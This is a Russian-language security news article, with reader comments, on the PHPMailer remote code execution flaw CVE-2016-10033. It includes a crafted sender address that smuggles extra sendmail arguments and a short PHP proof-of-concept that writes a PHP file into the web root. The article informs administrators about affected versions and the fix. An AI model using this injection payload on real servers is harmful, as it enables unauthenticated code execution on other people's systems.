The OpenNET Project

 
Поиск (теги):    НОВОСТИ (+) КОНТЕНТ WIKI MAN'ы ФОРУМ twitter

27.12.2016 19:21  Критическая уязвимость в PHPMailer, применяемом в WordPress, Drupal и Joomla

В PHPMailer, популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена критическая уязвимость (CVE-2016-10033), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.

Проблема аналогична недавно найденной уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с утилитой sendmail в качестве транспорта по умолчанию. Отсутствие должной проверки параметра "Sender" (неверная интерпретация экранированных кавычек), позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под которыми запускается PHP-приложение.

В частности, попытка отправки сообщения на email "Attacker \" -Param2 -Param3"@test.com приведёт к выполнению утилиты sendmail со следующими аргументами:


   Arg no. 0 == [/usr/sbin/sendmail]
   Arg no. 1 == [-t]
   Arg no. 2 == [-i]
   Arg no. 3 == [-fAttacker\]
   Arg no. 4 == [-Param2]
   Arg no. 5 == [-Param3"@test.com]

Для записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com', что демонстрирует следующий прототип эксплоита (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):


   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer(); 

   $mail->SetFrom($email_from, 'Client Name');

   $address = "customer_feedback@company-X.com";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18, все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian, RHEL/CentOS, Fedora, Ubuntu, SUSE, openSUSE. Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail (варианты утилиты /usr/sbin/sendmail от проектов Postfix и Exim не могут быть использованы для атаки, так как они игнорируют опцию "-X").

Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla, 1CRM, SugarCRM, Yii и сотнях других проектов. Атака может быть проведена через различные формы отправки отзывов, регистрации, связи с администрацией и других операций, приводящих к отправке сообщений по электронной почте при помощи PHPMailer. Уязвимы или нет конкретные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений через PHPMailer и используются ли настройки PHPMailer по умолчанию.

Дополнение: Drupal опубликовал предупреждение о проявлении уязвимости в модулях PHPMailer и SMTP. Уязвимости присвоен наивысший (Highly Critical) уровень опасности. В WordPress проблеме подвержены только некоторые сторонние плагины.

  1. Главная ссылка к новости (http://openwall.com/lists/oss-...)
  2. OpenNews: Уязвимость в Roundcube Webmail, позволяющая выполнить код на сервере
  3. OpenNews: Критическая root-уязвимость в MySQL
  4. OpenNews: Уязвимость в MySQL, позволяющая поднять свои привилегии
  5. OpenNews: Root-уязвимость из-за некорректных настроек в пакете nginx для Debian и Ubuntu
Автор новости: Mr.Mistoffelees
Тип: Проблемы безопасности
Ключевые слова: phpmailer, sendmail
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Линейный вид | Ajax | Показать все | RSS
 
  • 1.1, Аноним, 21:19, 27/12/2016 [ответить] [смотреть все]
  • +3 +/
    php головного мозга
     
     
  • 2.2, A.Stahl, 21:26, 27/12/2016 [^] [ответить] [смотреть все] [показать ветку]
  • +6 +/
    Зато они не боятся malloc/free и от чего там ещё падают в обморок Явисты-Питонисты?
     
     
  • 3.3, Куяврег, 21:44, 27/12/2016 [^] [ответить] [смотреть все]
  • +21 +/
    да они вообще нихрена не боятся. отчаянные люди...
     
  • 3.10, Alex, 23:01, 27/12/2016 [^] [ответить] [смотреть все]
  • +4 +/
    Xex, malloc free актуально для С, так что этого стоит бояться в том числе пользо... весь текст скрыт [показать]
     
  • 3.30, qsdg, 09:06, 28/12/2016 [^] [ответить] [смотреть все]  
  • –2 +/
    Где в Java malloc/free? O_O
     
     
  • 4.42, Аноним, 14:59, 28/12/2016 [^] [ответить] [смотреть все]  
  • +/
    Где, где Внутри То, что Вы его в тексте программы не видите, абсолютно не зн... весь текст скрыт [показать]
     
     
  • 5.59, xz, 11:25, 29/12/2016 [^] [ответить] [смотреть все]  
  • +/
    откуда он там возьмется, при живом то GC ... весь текст скрыт [показать]
     
  • 2.16, stomper, 01:08, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +4 +/
    Не важно, на каком языке ты говоришь, аноНЯшка Важно насколько правильно и одно... весь текст скрыт [показать] [показать ветку]
     
  • 2.44, Аноним, 16:58, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    что php головного мозга во первых нужно всегда фильтровать пользовательский вво... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.52, Аноним, 03:26, 29/12/2016 [^] [ответить] [смотреть все]  
  • +/
    Ну для дураков да, но там 4 кейса включая режим safe mode и даже это можно обо... весь текст скрыт [показать]
     
  • 3.53, Аноним, 03:28, 29/12/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Фильтрацию можно обойти другой фильтрацией P S Мы не говорим про ваш местечков... весь текст скрыт [показать]
     
  • 1.4, burik666, 21:46, 27/12/2016 [ответить] [смотреть все]  
  • +/
    Это тоже самое что и http://www.opennet.ru/opennews/art.shtml?num=45643
     
  • 1.5, Аноним, 21:50, 27/12/2016 [ответить] [смотреть все]  
  • –2 +/
    В комментарии к прошлой новости я ссылки кидал https www opennet ru openforum ... весь текст скрыт [показать]
     
     
  • 2.17, Sw00p_aka_Jerom, 02:24, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +2 +/
    юзать стороние пхп скрипты да ещё с такими сомнительными функциями как exec, sys... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.20, Аноним, 04:53, 28/12/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Ждем когда эти девы выпилят exec, system и прицепят нормальный интерфейс сборки ... весь текст скрыт [показать]
     
     
  • 4.37, Sw00p_aka_Jerom, 13:41, 28/12/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Так суть не в выпиливании, а в правильном использовании, а из ваших слов ввходит... весь текст скрыт [показать]
     
  • 4.39, KonstantinB, 14:10, 28/12/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    Выпиливать возможность прямого системного вызова - это как раз для макак А обе... весь текст скрыт [показать]
     
  • 1.6, th3m3, 22:18, 27/12/2016 [ответить] [смотреть все]  
  • –6 +/
    Пользователи всякого устаревшего php-хлама - должны страдать ... весь текст скрыт [показать]
     
     
  • 2.7, Аноним, 22:29, 27/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Не пользователи, а заказчики WP еще долго будет царствовать в клозетах и голова... весь текст скрыт [показать] [показать ветку]
     
  • 2.22, Аноним, 07:12, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +3 +/
    Drupal с многомиллионными инвестициями и огромным сообществом крутых разрабов см... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.46, Аноним, 17:08, 28/12/2016 [^] [ответить] [смотреть все]  
  • –2 +/
    сразу виден икспертный специалист в этом деле который написал целых пару сайтов... весь текст скрыт [показать]
     
     
  • 4.58, YCA4, 09:06, 29/12/2016 [^] [ответить] [смотреть все]  
  • +2 +/
    Это лишь файл wp-login php из ядра https github com WordPress WordPress blob ... весь текст скрыт [показать]
     
  • 3.60, th3m3, 14:22, 07/01/2017 [^] [ответить] [смотреть все]  
  • +/
    Столько денег вбухали в Drupal, а он как был УГ на php, так и остался Могли бы ... весь текст скрыт [показать]
     
  • 2.45, Аноним, 17:03, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    клоун - посмотри требования на https wordpress org about requirements php 7 и... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.61, th3m3, 14:24, 07/01/2017 [^] [ответить] [смотреть все]  
  • +/
    А ещё можно сразу использовать что-то более адекватное и современное.
     
  • 1.8, Michael Shigorin, 22:39, 27/12/2016 [ответить] [смотреть все]  
  • –4 +/
    К слову о статической линковке PS к TYPO3 кто-то лет десять тому сделал плаг... весь текст скрыт [показать]
     
  • 1.9, uldus, 22:56, 27/12/2016 [ответить] [смотреть все]  
  • +1 +/
    Этим не ограничится, PHPMailer жуткий комбайн в котором встроен SMTP-сервер, система массовой рассылки, NTLM, CRAM-MD5, XOAUTH2, TLS, DKIM и S/MIME.

    И что-то мне кажется, что и эту дыру не до конца поправили. Там ниже по коду при пустом $this->Sender выставляется $smtp_from = $this->From без обёртки $this->validateAddress(), которую добавили для $this->Sender.

     
  • 1.13, Аноним, 00:02, 28/12/2016 [ответить] [смотреть все]  
  • +1 +/
    Marcus Bointon & PHP - sucks
     
  • 1.14, Gemorroj, 00:15, 28/12/2016 [ответить] [смотреть все]  
  • +2 +/
    хорошая либа, кстати.
    а по поводу уязвимости - таких вагон где угодно. просто в силу популярности проектов на php о них громче новости.
     
     
  • 2.32, Аноним, 10:00, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Пути пхпистов неисповедимы, да.
     
  • 1.23, KonstantinB, 07:20, 28/12/2016 [ответить] [смотреть все]  
  • +1 +/
    Еще надо найти жертву с настоящим сендмейлом, что непросто. Все известные мне mta (кроме самого sendmail) игнорируют -X (и правильно делают).

    Или придумать другой способ эксплуатации, но лично мне ничего в голову не приходит.

     
  • 1.24, KonstantinB, 07:27, 28/12/2016 [ответить] [смотреть все]  
  • +/
    Кстати, в php-шном же SwiftMailer аналогичную уязвимость исправили 2.5 года назад.
     
     
  • 2.25, Аноним, 08:20, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Исправили Напишут новую ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.26, KonstantinB, 08:32, 28/12/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Я к тому, что это, похоже, общее уязвимое место - и не только для php Да и прав... весь текст скрыт [показать]
     
  • 3.54, KonstantinB, 07:49, 29/12/2016 [^] [ответить] [смотреть все]  
  • +/
    Хех Написали Точнее, в тот раз исправили аналогичную, но в sendmail-транспорте... весь текст скрыт [показать]
     
  • 1.28, Аноним, 08:40, 28/12/2016 [ответить] [смотреть все]  
  • +/
    Это в каком проекте нет валидации email Или это валидный email Attacker... весь текст скрыт [показать]
     
     
  • 2.29, Аноним, 08:53, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +2 +/
    Это валидный EMail RFC допускает использование пробелов при выделении кавычками... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.33, KonstantinB, 10:14, 28/12/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    Ага Можно сделать себе емейл типа , domain tld и троллить всех багр... весь текст скрыт [показать]
     
  • 3.47, Аноним, 17:11, 28/12/2016 [^] [ответить] [смотреть все]  
  • +/
    с какого перепугу валидный email_from attacker -oQ tmp -X var www cache... весь текст скрыт [показать]
     
     
  • 4.48, Аноним84701, 17:28, 28/12/2016 [^] [ответить] [смотреть все]  
  • +1 +/
    С такого, что валидность обычно таки определяетcя общепризнанным RFC, а не кон... весь текст скрыт [показать]
     
  • 1.31, Sylvia, 09:11, 28/12/2016 [ответить] [смотреть все]  
  • +1 +/
    >Уязвимости присвоен наивысший (Highly Critical) уровень опасности.

    для WordPress приоритет на тикет поставил абсолютно левый человек зарегистрировавшийся только вчера. Не надо выдавать это за официальную позицию пожалуйста.

     
  • 1.34, arnold, 12:28, 28/12/2016 [ответить] [смотреть все]  
  • +/
    Сссылка "сотнях других проектов" ничего не находит.
     
     
  • 2.40, google, 14:20, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    потому что никто не пользуется этим овном
     
  • 1.35, Fantomas, 12:41, 28/12/2016 [ответить] [смотреть все]  
  • +/
    Да забейте на эту уязвимость, исправят - обновим.
     
  • 1.36, Square1, 13:13, 28/12/2016 [ответить] [смотреть все]  
  • +1 +/
    проверил на нескольких платформах (включая джумлу) - ругается на невалидный эмейл.
     
  • 1.38, Аноним, 13:51, 28/12/2016 [ответить] [смотреть все]  
  • +3 +/
    брейкинньюс просто, опции -X сто лет в обед, пруф сейчас не найду, но этим хекал... весь текст скрыт [показать]
     
     
  • 2.49, Аноним, 18:58, 28/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Во-первых, phpmailer сам предоставляет средства валидации email PHPMailer vali... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.50, Аноним, 21:57, 28/12/2016 [^] [ответить] [смотреть все]  
  • +/
    вот из за таких как ты, которые реальность от жопы отличить не могут, такое и сл... весь текст скрыт [показать]
     
     
  • 4.55, Аноним, 08:07, 29/12/2016 [^] [ответить] [смотреть все]  
  • –1 +/
    https tools ietf org html rfc3696 создан в 2004 году и как раз отражает соврем... весь текст скрыт [показать]
     
  • 1.51, Аноним, 00:41, 29/12/2016 [ответить] [смотреть все]  
  • +/
    Там полный кабздец с самим php https gist github com Zenexer 40d02da5e07f151a... весь текст скрыт [показать]
     
  • 1.56, Аноним, 08:15, 29/12/2016 [ответить] [смотреть все]  
  • +/
    Ответте, плиз, как обновить phpmailer и проверить установленную версию Саппорт ... весь текст скрыт [показать]
     
     
  • 2.57, Аноним, 08:54, 29/12/2016 [^] [ответить] [смотреть все] [показать ветку]  
  • –1 +/
    На подходе еще 2 CVE готовь еще денег)
     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2016 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by BSH TopList